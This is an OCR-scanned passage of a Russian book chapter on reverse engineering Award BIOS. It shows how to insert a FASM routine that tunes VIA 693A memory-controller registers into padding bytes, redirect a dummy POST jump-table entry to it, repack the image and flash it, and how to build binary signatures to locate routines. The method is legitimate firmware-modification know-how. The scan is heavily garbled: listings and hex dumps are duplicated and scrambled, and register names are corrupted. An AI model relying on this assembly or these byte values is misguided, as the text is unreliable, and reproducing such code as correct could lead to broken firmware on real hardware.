Просмотрите системную BIOS в hex-редакторе и найдите секцию, заполненную байтами-заполнителями. Если подходящей области нужного размера не находится, то вам придется отказаться от задуманной модификации. Такое, однако, случается не часто.
С помощью hex-редактора, вставьте вашу ассемблированную процедуру в извлеченную системную BIOS.
С помощью hex-редактора, добавьте переход к вашей процедуре в таблииУ переходов POST.
С помощью утилиты modbin, упакуйте системную BIOS в двоичный ФаИ/| BIOS.
С помощью утилиты прошивки, прошейте модифицированную BIOS в чиП ROM BIOS материнской платы.
В качестве демонстрационного примера, я покажу, как создать "заплачу для BIOS материнской платы Iwill VD133. Дата выпуска этой BIOS 28 и10 2000 г., а имя файла BIOS — vd30728.bin. Данная материнская плата основа
на чипсете VIA 693А-596В. "Заплатка" была полностью протестирована работает должным образом. BIOS данной материнской платы основана на коДе Award BIOS v. 4.50PG. Но, как уже говорилось, данный метод вставки коДа работает со всеми версиями Award BIOS, поскольку все они применяют таблицу переходов POST для выполнения процедуры POST.
Определение местонахождения таблицы переходов POST
Я не буду вдаваться в подробности того, каким образом определить местонахождение таблицы переходов POST в Award BIOS версии 4.50PG. Обладая знаниями, приобретенными в процессе изучения дизассемблирования Award BIOS (см. главу 5), вы вполне справитесь с этой задачей.
Примечание
Чтобы упростить вашу задачу, я дам одну подсказку — распакуйте системную BIOS и начинайте поиск таблицы переходов POST в точке входа в системную BIOS по адресу F000: F80Dh.
Таблица переходов POST должна выглядеть так, как показано в листинге 6.3.
Листинг 6.3. Таблицы перехода POST BIOS I will VD13 3
E000:61C2 Begin_EOOO_POST_Jrnp_Table
E000:61C2
dw
154Eh
; Восстанавливается флаг горячей перезагрузки.
B000:61C4
dw
156Fh
; Фиктивная процедура
E000:61C6
E°00:61C6
dw
1571h
; Инициализируется контроллер клавиатуры;
; останов при ошибке.
E°00:61C8
e°00:61C8
E°00:61C8
dw
16D2h
; 1. Проверяется Fseg в RAM; звуковой
;сигнал при ошибке.
; 2. Определяется чип FlashROM.
EC°0:61CA
dw
1745h
; Проверяется чип CMOS.
E°00:61cc
E°00:61cc
dw
178Ah
; Значения по умолчанию регистров чипсета (код в ; awardext.rom, данные в сегменте Fseg)
SC°0:61CE -°00:61CE ~u°0:61CE J°0°:61DO ^°°:61D0 "'^ElDO
dw
1798h
; 1. Инициализируются флаги центрального
;процессора.
; 2. Запрещается А20.
dw
17B8h
; 1. Инициализируется вектор прерываний.
; 2. Инициализируются "сигнатуры" применяемые
; для распаковки компонентов BIOS расширения.
272
Часть II. Обратная разработка BIOS материнской плат,.
E000:61D0
; 3. Инициализируется контроллер
E000:61D0
;управления питанием.
E000:61D2
dw 194Bh
; 1. Инициализируется сопроцессор
E000:61D2
;(для вычислений с плавающей точкой).
ЕООО:61D2
; 2. Инициализируется микрокод (init CPU).
ЕООО:6102
; 3. Инициализируется шина FSB
ЕООО:6102
;(тактовый генератор).
ЕООО:6102
; 4. Инициализируются регистры W87381D VID.
ЕООО:6104
dw lABCh
; Обновляются флаги в области данных BIOS.
ЕООО:6106
dw lB08h
; 1. Распаковываются NNOPROM и ROSUPD.
ЕООО:6106
; 2. Инициализируется Video BIOS.
ЕООО:6108
dw lDC8h
; Инициализируется видео контроллер, видео
ЕООО:6108
; BIOS, и процедура ЕРА.
E000:61DA
dw 2342b
; Инициализируются устройства PS/2.
E000:61DC
dw 234Eh
; Фиктивная процедура
E000:61DE
dw 2353h
; Фиктивная процедура
Е000:61Е0
dw 2355h
; Фиктивная процедура
Е000:61Е2
dw 2357h
; Фиктивная процедура
Е000:61Е4
dw 2359h
; Инициализируется такт. ген. мат. платы.
Е000:61Е6
dw 23A5h
; Инициализируется контроллер прерываний.
Е000:61Е8
dw 23B6h
; Инициализируется контроллер прерываний
Е000:61Е8
; (продолжение).
Е000:61ЕА
dw 23F9h
; Фиктивная процедура
ЕООО:61ЕС
dw 23FBh
; Инициализируется контроллер прерываний
Е000:61ЕС
; (продолжение).
Е000:61ЕЕ
dw 2478h
; Фиктивная процедура
E000:61F0
dw 247Ah
; фиктивная процедура
E000:61F2
dw 247Ah
; Фиктивная процедура
E000:61F4
dw 247Ah
; Фиктивная процедура
E000:61F6
dw 247Ah
; Фиктивная процедура
E000:61F8
dw 247Ch
; Вызываются проверки POST ISA (дальше).
; ЕООО:61F8 Конец таблицы переходов POST
Отыскание фиктивной процедуры в таблице переходов POST
Как видно из листинга 6.3, в системной BIOS Iwill VD133 имеются нескольк фиктивных процедур. Таким образом, вставка индивидуально разработан го кода в эту BIOS вполне возможна.
g 2.3. Ассемблирование внедряемого кода
р листинге 6.4 показан исходный код процедуры, которую я вставил в BIOS jvvill VD133. Исходный код этой заплатки BIOS разработан на языке FASM
Листинг 6.4. Исходный код заплатки для чипсета VIA 693А (использован синтаксис FASM)
файл: mem_optimize.asm
usel6
start:
pushf cli
mov ex, 0x50
; Модифицируем регистр очереди ; чипсета
call Read_PCI_BusO_Byte
or al, 0x80
mov ex, 0x50
call Write_PCI_BusO_Byte
mov ex, 0x64
call Read_PCI_BusO_Byte or al, 2 mov ex, 0x64
call Write_PCI_BusO_Byte
;•Чередование DRAM Bank 0/1 = 4-банковое
mov ex, 0x65
call Read_PCI_BusO_Byte or al, 2 mov ex, 0x65
call Write_PCI_BusO_Byte
; Чередование банка DRAM 2/3 = 4-банковое
mov ex, 0x66
call Read_PCI_BusO_Byte
or al, 2 mov ex, 0x66 call Write_PCI_BusO_Byte
; Чередование банка DRAM 4/5 = 4-банковое
mov ex, 0x67
call Read_PCI_BusO_Byte
; Чередование банка DRAM 6/7 = 4-банковое
or al, 2 mov ex, 0x67 call Write_PCI_BusO_Byte
mov ex, 0x68; Разрешаем страницам в разных банках
; быть активными одновременно.
call Read_PCI_BusO_Byte or al, 0x44 mov ex, 0x68
call Write_PCI_BusO_Byte
mov ex, 0x69; Быстрый предзаряд DRAM для разных банков
call Read_PCI_BusO_Byte or al, 0x8 mov ex, Qx69
call Write_PCI_BusO_Byte
mov ex, 0x6C; Активируем поиск в буфере
; быстрого преобразования адреса, call Read_PCI_BusO_Byte or al, 0x8 mov ex, 0x6C call Write_PCI_Bus0_Byte popf
clc; Указываем, что эта процедура POST
; завершилась успешно.
retn; Близкий возврат к следующему элементу POST.
; -- Read_PCI_Byte --
; in: ex = dev_func_offset_addr
; out: al = reg_value
Read_PCI_BusO_Byte:
mov
ax, 8000b
shl
eax, 10b
mov
ax, ex
and
al, OFCh
mov
dx, 0CF8h
out
dx, eax
mov
dl, OFCh
mov al, cl
and al, 3
add dl, al in al, dx
retn
. write_BusO_Byte --
ex = dev_func_offset addr al = reg_value to write
№ite„PCI-BusO_Byte:
xchg
ax.
ex
shl
ecx,
, lOh
xchg
ax,
ex
mov
ax,
8000h
shl
eax,
, lOh
mov
ax,
ex
and
al,
OFCh
mov
dx,
0CF8h
out
dx.
eax
add
dl.
4
or
dl,
cl
mov
eax,
, ecx
shr
eax,
, lOh
out
dx,
al
retn
файл: mem_optimize.asm
Чтобы ассемблировать код, приведенный в листинге 6.4, просто нажмите к°мбинацию клавиш <CTRL>+<F9>. В результате вы получите двоичный ФаЙл, который при просмотре в Hex Workshop будет выглядеть, как показано Листинге 6.5.
Устинг 6.5. Двоичный файл заплатки для BIOS чипсета VIA 693А
Шестнадцатеричные значения-Значения ASCII
0000 9CFAВ95000Е86D000С80В95000Е87F00...Р..т. ...Р....
^°0010 В96400Е85F000С02В96400Е87100В965.d.._....d..q..е
^и°0020 00Е851000С02В96500Е86300В96600Е8..Q....е..с..f..
^°°030 43000С02В96600Е85500В96700Е83500С....f..U..g..5.
L°0°40 0С02В96700Е84700В96800Е827000С44. . ,g. -G. .h. . ' . .D
0000005000000060000000700000008000000090000000А00000005000000060000000700000008000000090000000А0В968 00Е8 3900 В969 00Е8 1900 0С08 В969 .h..9..i1
00000050
00000060
00000070
00000080
00000090
000000А0
00000050
00000060
00000070
00000080
00000090
000000А0
00Е8 2В00 В96С 00Е8 0В00 0С08 В96С 00Е8 . .+ ..11..
1D00 9DF8 СЗВ8 0080 66С1 Е010 89С8 24FC f $. BAF8 0С66 EFB2 FC88 С824 0300 С2ЕС С391 .. .f$ 66С1 Е110 91B8 0080 66C1 E010 89C8 24FC ff $. BAF8 0C66 EF80 C204 08CA 6689 C866 C1E8 .. .ff..f..
000000B0 10EE C3
Я не буду вдаваться в подробности, объясняя код в листинге 6.4, так как вся необходимая информация предоставлена в комментариях. Я лишь объясню общую картину функционирования этого кода. Код, представленный в листинге 6.4 — это заплатка, предназначенная для повышения производительности подсистемы памяти чипсета VIA 693А. Она инициализирует контроллер памяти VIA 693А установками, позволяющими добиться высокой производительности. Что нужно отметить касательно кода в листинге 6.4, так это то, что только ослабление кодом требований к синхронизации операций чтения и записи в чипсет не будет достаточным для того, чтобы должным образом инициализировать чипсет PCI VIA 693А. Более важной является необходимость инициализировать регистры по одному, чтобы свести к минимуму резкую нагрузку на чипсет во время процесса инициализации. Это особенно касается регистров чипсета, отвечающих за производительность. Если этого не сделать, существует вероятность того, что заплатка приведет к нестабильности системы.
Извлечение оригинальной системной BIOS
таМ*ат1*1таМ*ат1*1Извлечение оригинальной системной BIOS, которую требуется модифицир0' вать, не представляет никаких трудностей. Для этого достаточно загрузить необходимый двоичный файл BIOS (в данном случае — vd30728.bin) в modbin (версии 4.50.80С), как было объяснено в разд. 6.1. После заверь116 ния загрузки двоичного файла BIOS, системная BIOS автоматически извлек ется и сохраняется в файл original.tmp в той же папке, в которой находитсЯ сам двоичный файл. Выполняя эту операцию, проследите за тем. чтобы с^ чайно не закрыть modbin до завершения модификации системной 1 с помощью внешних утилит. В данном контексте под "внешними" утили понимаются hex-редактор и другие средства, применяемые для модифик извлеченной системной BIOS.
таМ*ат1*1
таМ*ат1*1
§2-5- Отыскание байтов-заполнителей
йтй байты-заполнители в системной BIOS очень просто — это байты со чением FFh. В коде Award BIOS версии 4.50PG байты-заполнители нахо- зНа я возле окончания первого сегмента3 системной BIOS. Обратите внима- ^е на т0’ что ПРИ исполнении POST первый сегмент системной BIOS ото- ажается на сегмент еоооь, а также на то, что таблица переходов POST ^положена в этом сегменте. Таким образом, код, вставленный в данный Сегмент, может быть вызван с помощью соответствующего адреса смещения, помешенного в таблицу переходов POST. В листинге 6.6 показано, как выглядят байты-заполнители при просмотре системной BIOS в Hex Workshop.
Листинг 6.6. Байты-заполнители системной BIOS VD30728.bin
Адрес Шестнадцатеричные ан; 0000EFDO СЗОО 0000 0000 0000 0000 0000EFEO СЗОО 0000 0000 0000 0000 000OEFFO FFFF FFFF FFFF FFFF FFFF OOO0F000 FFFF FFFF FFFF FFFF FFFF OOOOF010 FFFF FFFF FFFF FFFF FFFF OOOOF020 FFFF FFFF FFFF FFFF FFFF OOO0FO30 FFFF FFFF FFFF FFFF FFFF OOOOFO40 FFFF FFFF FFFF FFFF FFFF OOO0F050 FFFF FFFF FFFF FFFF FFFF OO0OFO60 FFFF FFFF FFFF FFFF FFFF OOOOF070 FFFF FFFF FFFF FFFF FFFF OOOOFOBO FFFF FFFF FFFF FFFF FFFF OOOOF090 FFFF FFFF FFFF FFFF FFFF OOOOF0A0 FFFF FFFF FFFF FFFF FFFF ^OOFOBO FFFF FFFF FFFF FFFF FFFFБайты-заполнители в листинге1Адрес Шестнадцатеричные ан; 0000EFDO СЗОО 0000 0000 0000 0000 0000EFEO СЗОО 0000 0000 0000 0000 000OEFFO FFFF FFFF FFFF FFFF FFFF OOO0F000 FFFF FFFF FFFF FFFF FFFF OOOOF010 FFFF FFFF FFFF FFFF FFFF OOOOF020 FFFF FFFF FFFF FFFF FFFF OOO0FO30 FFFF FFFF FFFF FFFF FFFF OOOOFO40 FFFF FFFF FFFF FFFF FFFF OOO0F050 FFFF FFFF FFFF FFFF FFFF OO0OFO60 FFFF FFFF FFFF FFFF FFFF OOOOF070 FFFF FFFF FFFF FFFF FFFF OOOOFOBO FFFF FFFF FFFF FFFF FFFF OOOOF090 FFFF FFFF FFFF FFFF FFFF OOOOF0A0 FFFF FFFF FFFF FFFF FFFF ^OOFOBO FFFF FFFF FFFF FFFF FFFFБайты-заполнители в листинге1гченияЗначения ASCII0000 0000 0000 0000 0000 0000 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 5.6 имеют значение FFh.гченияЗначения ASCII0000 0000 0000 0000 0000 0000 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 5.6 имеют значение FFh.
Адрес Шестнадцатеричные ан; 0000EFDO СЗОО 0000 0000 0000 0000 0000EFEO СЗОО 0000 0000 0000 0000 000OEFFO FFFF FFFF FFFF FFFF FFFF OOO0F000 FFFF FFFF FFFF FFFF FFFF OOOOF010 FFFF FFFF FFFF FFFF FFFF OOOOF020 FFFF FFFF FFFF FFFF FFFF OOO0FO30 FFFF FFFF FFFF FFFF FFFF OOOOFO40 FFFF FFFF FFFF FFFF FFFF OOO0F050 FFFF FFFF FFFF FFFF FFFF OO0OFO60 FFFF FFFF FFFF FFFF FFFF OOOOF070 FFFF FFFF FFFF FFFF FFFF OOOOFOBO FFFF FFFF FFFF FFFF FFFF OOOOF090 FFFF FFFF FFFF FFFF FFFF OOOOF0A0 FFFF FFFF FFFF FFFF FFFF ^OOFOBO FFFF FFFF FFFF FFFF FFFF
Байты-заполнители в листинге1
Адрес Шестнадцатеричные ан; 0000EFDO СЗОО 0000 0000 0000 0000 0000EFEO СЗОО 0000 0000 0000 0000 000OEFFO FFFF FFFF FFFF FFFF FFFF OOO0F000 FFFF FFFF FFFF FFFF FFFF OOOOF010 FFFF FFFF FFFF FFFF FFFF OOOOF020 FFFF FFFF FFFF FFFF FFFF OOO0FO30 FFFF FFFF FFFF FFFF FFFF OOOOFO40 FFFF FFFF FFFF FFFF FFFF OOO0F050 FFFF FFFF FFFF FFFF FFFF OO0OFO60 FFFF FFFF FFFF FFFF FFFF OOOOF070 FFFF FFFF FFFF FFFF FFFF OOOOFOBO FFFF FFFF FFFF FFFF FFFF OOOOF090 FFFF FFFF FFFF FFFF FFFF OOOOF0A0 FFFF FFFF FFFF FFFF FFFF ^OOFOBO FFFF FFFF FFFF FFFF FFFF
Байты-заполнители в листинге1
гченияЗначения ASCII
0000 0000 0000
0000 0000 0000
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
5.6 имеют значение FFh.
гченияЗначения ASCII
0000 0000 0000
0000 0000 0000
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
FFFF FFFF FFFF
5.6 имеют значение FFh.
^■2.6. Вставка кода
^е>Кде чем вставлять код в системную BIOS, необходимо удостовериться, Та^В НС^ имеется Д°статочно свободного пространства, обозначенного бай- a.ik заполнителями FFh- Именно на это место и можно вставить индивиду- (ко ° Р^Р^отаииую заплатку. Сравнив дамп, приведенный в листинге 6.5 4 заплатки) с дампом, приведенным в листинге 6.6 (свободное простран-
^
^анн°м случае, первый сегмент означает первые 64 Кбайт.
ство в системной BIOS), вы ясно увидите, что свободного места в данн . системной BIOS вполне достаточно для вставки вашей заплатки. Размер платки составляет всего 179 (ьзь) байтов, а свободного места в системно^ BIOS имеется 208 байтов. В дампе, приведенном в листинге 6.7, показано свободное пространство системной BIOS после того, как туда был вставлен код заплатки, разработанной мною.
Листинг 6.7. Системная BIOS VD30738.bin после вставки в нее кода
Шестнадцатеричные значенияШестнадцатеричные значенияАдрес 0000EFD0 С300 0000 0000 0000EFE0 СЗОО 0000 0000 0000EFF0 9CFA В950 00Е8 0000F000 В964 00Е8 5F00 0000F010 00Е8 5100 0C02 0000F020 4300 0C02 В966 0000F030 0С02 В967 00Е8 0000F040 В968 00Е8 3900 0000F050 00Е8 2В00 В96С 0000F060 1D00 9DF8 СЗВ8 0000F070 BAF8 0С66 EFB2 0000F080 66C1 Е110 91В8 0000F090 BAF8 ОСбб EF80 0000F0A0 10ЕЕ C3FF FFFF 0000F0B0 FFFF FFFF FFFFАдрес 0000EFD0 С300 0000 0000 0000EFE0 СЗОО 0000 0000 0000EFF0 9CFA В950 00Е8 0000F000 В964 00Е8 5F00 0000F010 00Е8 5100 0C02 0000F020 4300 0C02 В966 0000F030 0С02 В967 00Е8 0000F040 В968 00Е8 3900 0000F050 00Е8 2В00 В96С 0000F060 1D00 9DF8 СЗВ8 0000F070 BAF8 0С66 EFB2 0000F080 66C1 Е110 91В8 0000F090 BAF8 ОСбб EF80 0000F0A0 10ЕЕ C3FF FFFF 0000F0B0 FFFF FFFF FFFF0000 0000 0000 0000 0000 0000 0000 0000 6D00 0С80 В950 00Е8 0С02 В964 00Е8 7100 В965 00Е8 6300 В9бб 00Е8 5500 В967 00Е8 4700 В968 00Е8 2700 В969 00Е8 1900 0C08 00Е8 0В00 0С08 B96C 0080 66С1 Е010 89С8 FC88 С824 0300 С2ЕС 0080 66С1 Е010 89C8 С204 08СА 6689 С866 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF0000 0000 0000 0000 0000 0000 0000 0000 6D00 0С80 В950 00Е8 0С02 В964 00Е8 7100 В965 00Е8 6300 В9бб 00Е8 5500 В967 00Е8 4700 В968 00Е8 2700 В969 00Е8 1900 0C08 00Е8 0В00 0С08 B96C 0080 66С1 Е010 89С8 FC88 С824 0300 С2ЕС 0080 66С1 Е010 89C8 С204 08СА 6689 С866 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFFЗначения ASCII 0000 0.000 7F00 ...P..m....P.... B965 .d.._....d..q..e OOES ..Q....e..c..f.. 3500 C....f..U..g..5. 0C44 ...g..G..h..'..D B969 ,h..9..ii 00E8 . . +.. 11. .24FC f$.C391 . ..f$24FC ff$.C1E8 ... ff. . f..FFFF FFFFЗначения ASCII 0000 0.000 7F00 ...P..m....P.... B965 .d.._....d..q..e OOES ..Q....e..c..f.. 3500 C....f..U..g..5. 0C44 ...g..G..h..'..D B969 ,h..9..ii 00E8 . . +.. 11. .24FC f$.C391 . ..f$24FC ff$.C1E8 ... ff. . f..FFFF FFFF
Шестнадцатеричные значения
Шестнадцатеричные значения
Адрес 0000EFD0 С300 0000 0000 0000EFE0 СЗОО 0000 0000 0000EFF0 9CFA В950 00Е8 0000F000 В964 00Е8 5F00 0000F010 00Е8 5100 0C02 0000F020 4300 0C02 В966 0000F030 0С02 В967 00Е8 0000F040 В968 00Е8 3900 0000F050 00Е8 2В00 В96С 0000F060 1D00 9DF8 СЗВ8 0000F070 BAF8 0С66 EFB2 0000F080 66C1 Е110 91В8 0000F090 BAF8 ОСбб EF80 0000F0A0 10ЕЕ C3FF FFFF 0000F0B0 FFFF FFFF FFFF
Адрес 0000EFD0 С300 0000 0000 0000EFE0 СЗОО 0000 0000 0000EFF0 9CFA В950 00Е8 0000F000 В964 00Е8 5F00 0000F010 00Е8 5100 0C02 0000F020 4300 0C02 В966 0000F030 0С02 В967 00Е8 0000F040 В968 00Е8 3900 0000F050 00Е8 2В00 В96С 0000F060 1D00 9DF8 СЗВ8 0000F070 BAF8 0С66 EFB2 0000F080 66C1 Е110 91В8 0000F090 BAF8 ОСбб EF80 0000F0A0 10ЕЕ C3FF FFFF 0000F0B0 FFFF FFFF FFFF
0000 0000 0000 0000 0000 0000 0000 0000 6D00 0С80 В950 00Е8 0С02 В964 00Е8 7100 В965 00Е8 6300 В9бб 00Е8 5500 В967 00Е8 4700 В968 00Е8 2700 В969 00Е8 1900 0C08 00Е8 0В00 0С08 B96C 0080 66С1 Е010 89С8 FC88 С824 0300 С2ЕС 0080 66С1 Е010 89C8 С204 08СА 6689 С866 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
0000 0000 0000 0000 0000 0000 0000 0000 6D00 0С80 В950 00Е8 0С02 В964 00Е8 7100 В965 00Е8 6300 В9бб 00Е8 5500 В967 00Е8 4700 В968 00Е8 2700 В969 00Е8 1900 0C08 00Е8 0В00 0С08 B96C 0080 66С1 Е010 89С8 FC88 С824 0300 С2ЕС 0080 66С1 Е010 89C8 С204 08СА 6689 С866 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
Значения ASCII 0000 0.000 7F00 ...P..m....P.... B965 .d.._....d..q..e OOES ..Q....e..c..f.. 3500 C....f..U..g..5. 0C44 ...g..G..h..'..D B969 ,h..9..ii 00E8 . . +.. 11. .
24FC f$.
C391 . ..f$
24FC ff$.
C1E8 ... ff. . f..
FFFF
FFFF
Значения ASCII 0000 0.000 7F00 ...P..m....P.... B965 .d.._....d..q..e OOES ..Q....e..c..f.. 3500 C....f..U..g..5. 0C44 ...g..G..h..'..D B969 ,h..9..ii 00E8 . . +.. 11. .
24FC f$.
C391 . ..f$
24FC ff$.
C1E8 ... ff. . f..
FFFF
FFFF
Код заплатки, заместивший собой байты-заполнители, выделен в листинге 6.7 полужирным шрифтом.
Модифицирование таблицы переходов POST
Модифицирование таблицы переходов POST не должно вызывать никаких трудностей. Просто заметьте начальный адрес вставленного кода и вставьте соответствующий переход в фиктивный вызов процедуры в таблице перех° дов POST. Необходимо отметить, что этот способ применим только для коДа вставленного в первый сегмент двоичного кода системной BIOS. При4 этого заключается в том, что элементы таблицы переходов POST содер^ только 16-битные смещения соответствующих процедур POST. Иными вами, процедуры POST расположены в том же сегменте, что и таблица пеР ходов POST.
рЬ рассмотрим процесс модификации таблицы переходов POST более , побно. Как видно из дампа, приведенного в листинге 6.7, точка входа п „еденного кода находится по адресу effoh в первом сегменте системной в oS Кроме того, как было только что сказано, таблица переходов POST на- одцтся в том же сегменте, что и вставленный код4. Таким образом, осталось ‘те заменить одно из смещений в таблице переходов POST на значение '„^oh. А именно следует заменить адрес вызова фиктивной процедуры по ад-
E000:6iDCh5 в таблице переходов на значение еоооь, т. е. на смещение тОчки входа вставленного кода. Конечный результат модификации таблицы переходов POST показан в листинге 6.8.
Листинг 6.8. Модифицированная таблица переходов POST
ЕООО:61С2 Begin_EOOO_POST_Jnp_Table
Е000:61С2
dw 154Eh
; Восстанавливается флаг горячей перезагрузки.
Е000:61С4
dw 156Fh
; Фиктивная процедура
Е000:61С6
Е000:61С6
dw 1571h
; Инициализируется контроллер клавиатуры;
; останов при ошибке.
Е000:61С8
Е000:61С8
Е000:61С8
dw 16D2h
; 1. Проверяется Fseg в КАМ; звуковой
; сигнал при ошибке.
; 2. Определяется чип FlashROM.
Е000:61СА
dw 1745h
; Проверяется чип CMOS.
Е000:61СС
Е000:61СС
dw 178Ah
; Значения по умолчанию регистров чипсета (код
; awardext.rom, данные в сегменте Fseg)
Е000:61СЕ
Е000:61СЕ £000:61СЕ
dw 1798h
; 1. Инициализируются флаги
; центрального процессора.
; 2. Запрещается А20.
£000:61D0 £000:6100 £000:6100 £000:6100 EG°0:61DO
dw 17B8h
; 1. Инициализируется вектор прерываний.
; 2. Инициализируются "сигнатуры", применяемые
;для распаковки компонентов BIOS расширения.
; 3. Инициализируется контроллер
;управления питанием.
'"°°:61О2 ^00:6102 ^00:61D2 2"JC°:61D2
dw 194Bh
; 1. Инициализируется сопроцессор
; (для вычислений с плавающей точкой).
; 2. Инициализируется микрокод (init CPU).
; 3. Инициализируется шина FSB (тактовый генератор)
1 Из
^ae^^6113 Дизассемблирование системной BIOS Award в предыдущей главе мы сцСт ’ Чт® таблица переходов POST находится в сегменте EOOOh, в первом сегменте 5 Пр^^ BIOS (original.tmp или original.bin).
пР°смотре системной BIOS в Hex Workshop, адрес E000:6iDCh показывается 61DCh.
E000:61D2
; 4. Инициализируются регистры W87381D VID
E000:61D4
dw
lABCh
; Обновляются флаги в области данных BIOS.
E000:61D6
dw
lB08h
; 1. Распаковываются NNOPROM и ROSUPD.
E000:61D6
; 2. Инициализируется Video BIOS.
E000:61D8
dw
1DC8H
; Инициализируется видео контроллер, видео
E000:61D8
; BIOS, и процедура ЕРА.
E000:61DA
dw
2342h
; Инициализируются устройства PS/2.
E000:61DC
dw
OEFFOh
; Накладываем заплатку —> вставленный код
E000:61DE
dw
2353h
; Фиктивная процедура
E000:61E0
dw
2355h
; Фиктивная процедура
E000:61E2
dw
2357h
; Фиктивная процедура
E000:61E4
dw
2359h
; Инициализируется такт.ген. мат. платы.
E000:61E6
dw
23A5h
; Инициализируется контроллер прерываний.
E000:61E8
dw
23B6h
; Инициализируется контроллер прерываний
E000:61E8
; (продолжение).
E000:61EA
dw
23F9h
; Фиктивная процедура
E000:61EC
dw
23FBh
; Инициализируется контроллер прерываний
E000:61EC
; (продолжение).
E000:61EE
dw
2478h
; Фиктивная процедура ,
E000:61F0
dw
247Ah
; Фиктивная процедура
E000:61F2
dw
247Ah
; Фиктивная процедура
E000:61F4
dw
247Ah
; Фиктивная процедура
E000:61F6
dw
247Ah
; Фиктивная процедура
E000:61F8
dw
247Ch
; Вызываются проверки POST ISA (дальше).
; E000:61F8
Конец таблицы переходов POST
Перекомпоновка двоичного файла BIOS
Перекомпоновка двоичного файла BIOS также не представляет никаких трудностей. Для этого нужно лишь сохранить в modbin все изменения, внесенные во временный файл системной BIOS. При сохранении измененного файла, modbin упаковывает все временные распакованные компоненты в двоичный файл BIOS. После этого утилиту можно закрыть.
Прошивка модифицированной BIOS
Модифицированный файл BIOS прошивается в чип ROM BIOS с помощь# утилиты прошивки, которая обычно поставляется вместе с программны^ обеспечением на материнскую плату. Кроме того, утилиту для прошив^ BIOS в большинстве случаев можно скачать с сайта производителя. В ком плекте с утилитой прошивки обычно поставляется подробное руководство ^ прошивке BIOS, так что я не буду останавливаться здесь на данном вопросе.
^сде прошивки двоичного файла в чип ROM, перезагрузите систему доверьте работоспособность модифицированной BIOS. Обратите вни- ние на то, что в ряде случаев может потребоваться несколько переза- рузок, чтобы убедиться в том, что модификация была проведена успешно.
§.3. Другие модификации
Освоив основы обратной разработки BIOS, изложенные в предыдущих главаХ, можно попробовать и другие способы модификации BIOS. Вообще говоря, модифицировать можно практически любой из компонентов BIOS — например, изменить код начальной загрузки или системную BIOS, добавить новые компоненты и т. д.
Как известно, код начальной загрузки начинает исполнение по адресу FOOO:FFFOh или по его псевдониму FFFFFFFOh. В Award BIOS, инструкция, расположенная по данному адресу, осуществляет безусловный переход по адресу F000:F05Bh. Этот безусловный переход можно перенаправить на разработанную вами процедуру, вставленную в свободное место в области начальной загрузки, а после исполнения этой процедуры возвратить управление обратно по адресу F000:F05Bh, опять же, с помощью безусловного перехода. Однако поскольку свободного пространства в области кода начальной загрузки не так уж и много, сюда можно вставить лишь процедуру небольшого объема.
Можно также модифицировать некоторые процедуры в системной BIOS. Но процесс поиска интересующей вас процедуры отнимает много времени, и если вы намереваетесь модифицировать данную процедуру в нескольких файлах BIOS, можно воспользоваться способом, называемым в сфере компьютерной безопасности "формирование двоичной сигнатуры". Двоичная ^натура — это уникальный блок байтов, представляющий определенную последовательность машинных инструкций.
С первого взгляда может показаться, что при 256 возможных значениях каж- Зого байта, отыскать конкретную комбинацию байтов в двоичном файле бу- ^ет Довольно проблематично. До известной степени так оно и есть. Но раздел СИстемной BIOS содержит больше кода, нежели раздел данных, хотя эти сек- ?Ии частично и перекрывают друг друга. Поэтому найти определенную ком- °иНацию байтов довольно легко, так как байты инструкций х86-совместимых пР°Цессоров подчиняются определенным правилам, точно так же, как и байты 1Нструкций всех прочих видов процессоров формируются, следуя некоторым ^к°номерностям. Кроме того, разработчики BIOS стараются сэкономить
память в чипе ROM BIOS и не повторять одну и ту же группу инструкций несколько раз. Для этого процедура или подпрограмма из нескольких инструк. ций сохраняется лишь один раз, а впоследствии вызывается из других участков кода BIOS. Это обстоятельство, т. е. то, что повторение комбинации байтов группы инструкций в двоичном файле — явление очень редкое значительно облегчает задачу поиска уникальной комбинации байтов. Процедура формирования двоичной сигнатуры следующая:
С помощью дизассемблера, находим интересующую нас процедуру.
Запоминаем группу инструкций, составляющих данную процедуру, и соответствующие им шестнадцатеричные значения.
Принимаем несколько байтов, т. е. несколько идущих подряд инструкций, за начальное значение сигнатуры. С помощью hex-редактора проверяем двоичный файл на наличие повторений начальной сигнатуры. Если данная группа байтов повторяется, добавляем к ней еще несколько последующих байтов и снова производим проверку на повторение уже обновленной сигнатуры. Повторяем процесс до тех пор, пока не сформируем уникальную, т. е. встречающуюся в двоичном файле только один раз, комбинацию байтов.
После того как сигнатура готова, модифицирование системной BIOS не составляет особого труда. Можно даже создать специальную утилиту для автоматизации этого процесса.
Чтобы найти конкретную процедуру, которую требуется модифицировать, вам необходимо что-то знать об этой процедуре, что позволит вам сделать обоснованную прикидку, где она располагается. В двоичном файле Windows, вызов определенной функции операционной системы может служить такой подсказкой. Что касается двоичных файлов BIOS, можно воспользоваться следующими рекомендациями:
